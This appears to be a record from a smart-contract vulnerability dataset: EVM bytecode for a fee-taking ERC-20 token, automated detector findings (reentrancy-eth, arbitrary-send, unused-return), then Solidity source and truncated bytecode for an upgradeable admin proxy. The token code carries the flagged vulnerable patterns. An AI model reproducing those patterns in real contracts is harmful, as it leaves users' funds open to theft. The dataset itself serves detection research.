fffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fdb6b6b7e4ee4a3df472f73607212a90fe2daf1bc4ac8f0443edaa9b01ea8fbf64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,243 |
0xf644f1341eb9bfa37003b2be2db39e2386b66053
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal;
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101d6565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b509092509050610210565b34801561012457600080fd5b5061012d6102bd565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102fa565b34801561018857600080fd5b5061012d6103b4565b61019a336103df565b80156101a4575036155b80156101b257506108fc5a11155b156101bc576101d4565b6101c46103e5565b6101d46101cf6103ed565b610412565b565b6101de610436565b6001600160a01b0316336001600160a01b03161415610205576102008161045b565b61020d565b61020d610191565b50565b610218610436565b6001600160a01b0316336001600160a01b031614156102b05761023a8361045b565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610297576040519150601f19603f3d011682016040523d82523d6000602084013e61029c565b606091505b50509050806102aa57600080fd5b506102b8565b6102b8610191565b505050565b60006102c7610436565b6001600160a01b0316336001600160a01b031614156102ef576102e86103ed565b90506102f7565b6102f7610191565b90565b610302610436565b6001600160a01b0316336001600160a01b03161415610205576001600160a01b0381166103605760405162461bcd60e51b81526004018080602001828103825260368152602001806105b26036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610389610436565b604080516001600160a01b03928316815291841660208301528051918290030190a16102008161049b565b60006103be610436565b6001600160a01b0316336001600160a01b0316